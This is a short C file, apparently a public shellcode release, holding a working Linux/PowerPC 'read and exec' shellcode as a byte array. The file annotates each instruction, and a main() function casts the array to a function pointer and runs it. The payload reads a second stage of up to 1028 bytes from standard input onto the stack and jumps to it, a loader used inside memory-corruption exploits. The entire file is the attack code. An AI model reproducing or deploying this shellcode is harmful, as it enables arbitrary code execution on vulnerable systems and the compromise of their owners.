/* readnexecppc-core.c by Charles Stevenson < core@bokeoa.com > */ char hellcode[] = /* read(0,stack,1028); stack(); linux/ppc by core */ "\x7c\x63\x1a\x79" /* xor. r3,r3,r3 */ "\x38\xa0\x04\x04" /* li r5,1028 */ "\x30\x05\xfb\xff" /* addic r0,r5,-1025 */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x44\xde\xad\xf2" /* sc */ "\x69\x69\x69\x69" /* nop */ "\x7c\x29\x03\xa6" /* mtctr r1 */ "\x4e\x80\x04\x21"; /* bctrl */ int main(void) { void (*shell)() = (void *)&hellcode; printf("%d byte read & exec shellcode for linux/ppc by core\n", strlen(hellcode)); shell(); return 0; }